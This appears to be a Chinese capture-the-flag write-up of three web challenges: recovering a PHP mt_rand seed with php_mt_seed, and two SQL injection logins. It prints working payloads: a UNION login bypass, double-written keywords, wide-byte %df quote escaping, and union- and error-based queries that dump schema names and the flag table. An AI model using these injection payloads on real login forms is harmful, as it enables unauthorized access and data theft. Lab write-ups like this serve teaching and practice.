跳转至

安恒新春祈福赛

安恒新春祈福赛

web

枯燥的抽奖

打开以后在源代码里面找到 check.php,去访问了一下

image.png

image.png

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

其中 mt_rand() 会出现随机数安全问题,就是说如果播种的种子(seed)一样的话,那么产生的随机数实际上是不变的

可以使用这个爆破出来
下下来直接解压以后在目录执行 make 命令,就可以使用了

image.png

拿源码来解释一下:

<?php
session_start();
if(!isset($_SESSION['seed'])){//如果没有seed的话从0到999999999之间选择一个作为seed
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']);//以seed作为种子播种
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){//这里就是产生的20个flag
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
  //产生的方法是从str_long1里面的第mt_rand个开始选择一个添加到str里面这样循环20次    
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";//然而最后展示出来的只是前十个
if(isset($_POST['num'])){
    if($_POST['num']===$str){//输入的跟str进行匹配,还是全等的
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }

知道它的原理之后其实可以自己实现一下,然后转换成 php_mt_seed 能识别的形式

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='sjeZQs2cLo'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):  
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

然后使用 php_mt_seed:

image.png

把得到的 seed 带入题目源码里面就可以得到 flag 了,注意 php 的版本

image.png

找了几个php7在线运行都不行,还是phpstudy稳

image.png

image.png

得到 flag

image.png

BabySqli

尝试登录的话会返回账号错误还是密码错误,可以得出admin账号是存在的

然后使用 union 万能密码绕过(MD5是123的MD5)
username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123

解释一下 union 万能密码,

如果原来的查询语句是:

<?php
$sql = "SELECT * FROM users WHERE username='$username' and password = '".md5($password,true)."'";
?>

你输入的是:
username:-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
password:123
那这个语句就会被构造成:

select * from users where username='-1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' # and password='md5(123,true)';

这条语句的结果是:

image.png

这样你输入的admin的密码就是你传的123的MD5值,就可以成功登陆了

BabySqliv2.0

union 与 select 被置为空,双写绕过
单引号回家反斜线转义,宽字节注入
admin 被检测,0x 被检测,使用 char(97,100,109,105,110)

image.png

image.png

image.png

爆库名:web_sqli
username:1%df' ununionion selselectect 1,char(97,100,109,105,110),group_concat(schema_name) from information_schema.schemata%23
password:随意
image.png

爆表名:f14g
username:1%df' ununionion selselectect 1,char(97,100,109,105,110),group_concat(table_name) from information_schema.tables whwhereere table_schema=char(119,101,98,95,115,113,108,105)%23
password:随意
image.png

爆字段名:
username:1%df' ununionion selselectect 1,char(97,100,109,105,110),group_concat(column_name) from information_schema.columns whwhereere table_name=char(102,49,52,103)%23
password:随意
image.png

爆flag:
username:1%df' uniunionon selselectect 1,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g%23
password:随意
image.png

解出来全是歌词??为啥我的没有flag???

image.png

使用:
username:%df'
and(seselectlect 1 from(sselectelect count(),concat((sselectelect (sselectelect (SESELECTLECT  concat(327a6c4304ad5938eaf0efb6cc3e53dc) FROM f14g limit 22,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)--+
password:随意
可以得到!!!
image.png

原文: https://www.yuque.com/hxfqg9/web/hwfzx2